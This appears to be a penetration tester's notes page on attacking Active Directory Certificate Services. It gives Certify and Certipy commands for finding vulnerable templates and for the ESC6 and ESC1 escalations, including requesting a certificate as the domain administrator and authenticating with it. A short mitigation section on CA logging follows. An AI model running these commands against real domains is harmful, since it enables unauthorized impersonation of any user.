Personal BlogTwitterGitHubContact

AD CS

Active Directory Certificate Services (AD CS) is a feature of Active Directory that allows a desginated server to issue certificates. This assists in helping environments leverage and deploy the security advantages of using certificate-based authentication.

For a way more well explained blog on exploiting AD CS, I highly recommend checking out SpecterOps' article.

Additionally, notes from the Relaying section are essential to understanding the attack chain of AD CS.

Enumerate AD CS

If we get a hit from these methods then we can browse to the host identified with the following URL: http://localhost/certsrv/

Certutil

Dump and display certification authority information with Certutil.exe. This utility can be used to quickly identify if there is a certificate authority on the domain for AD CS attacks:

Certutil -ping
Certutil.exe -tcainfo

CrackMapExec

crackmapexec smb $ip -u $username -p $password -M adcs

Certify

When dealing with AD CS, Ceritfy and Certipy are going to be your best friends. 

# Identify and list vulnerable templates with Certipy
certipy find -u $username -p $password -dc-ip $dcip -vulnerable

# Identify and list vulnerable templates with Certify
Certify.exe find /vulnerable

Exploitation

The following section builds off of several available repositories that are referenced at the bottom of this page. There are multiple ways to exploit vulnerable certificate templates so I highly recommend searching through red team wikis and blogs to find one that may be specific for your use case.

EDITF_ATTRIBUTESUBJECTALTNAME2 (ESC6)

If this attribute is set on the CA, any request (including when the subject is built from Active Directory) can have user defined values in the subject alternative name.

The above quote from Microsoft in attacker-speak means that we can then enroll in any template configured for domain authentication that also allows unprivileged users to enroll. This would allow the attacker to obtain a certificate that then allows them to authenticate as any user/machine on the domain.

This setting is disabled by default.

This setting, like many others in this section can be discovered and exploited #through using Certify. 

# Find all enabled certificate templates:
Certify.exe find

# Abuse a cerificate with this setting configured 
Certify.exe request /ca:CA01.oasis.local\CorpCA /template:User /altname:$impersonateuser

Exploiting ESC1

## https://github.com/ly4k/Certipy
### It should be noted that information such as the CA, target, and template name can all be identified from running the certipy find command.

pip3 install certipy-ad
certipy find -u parz@oasis.local -p $password -dc-ip $dcip
certipy req -username parz@oasis.local -password $password -ca $ca -target $cahost -template $templatename -upn administrator@oasis.local -dns dc.oasis.local
certipy auth -pfx administrator_dc.pfx -dc-ip $dcip

Mitigation

One of the easiest ways to assist in detecting exploitation of AD CS is to enable Certificate Authority logging. By default, AD CS does not enable logging by default, which in the case of an incident will prevent an organization from responding. This can be easily remediated:

# Enable CA Logging
certutil.exe -setreg CA\AuditFilter 127

Additionally, it is recommended to perform regular auditing with tools such as Certify/Certipy or PSPKIAudit to detect vulnerable certificate templates:

References

PreviousActive DirectoryNextCoercing Authentication

Last updated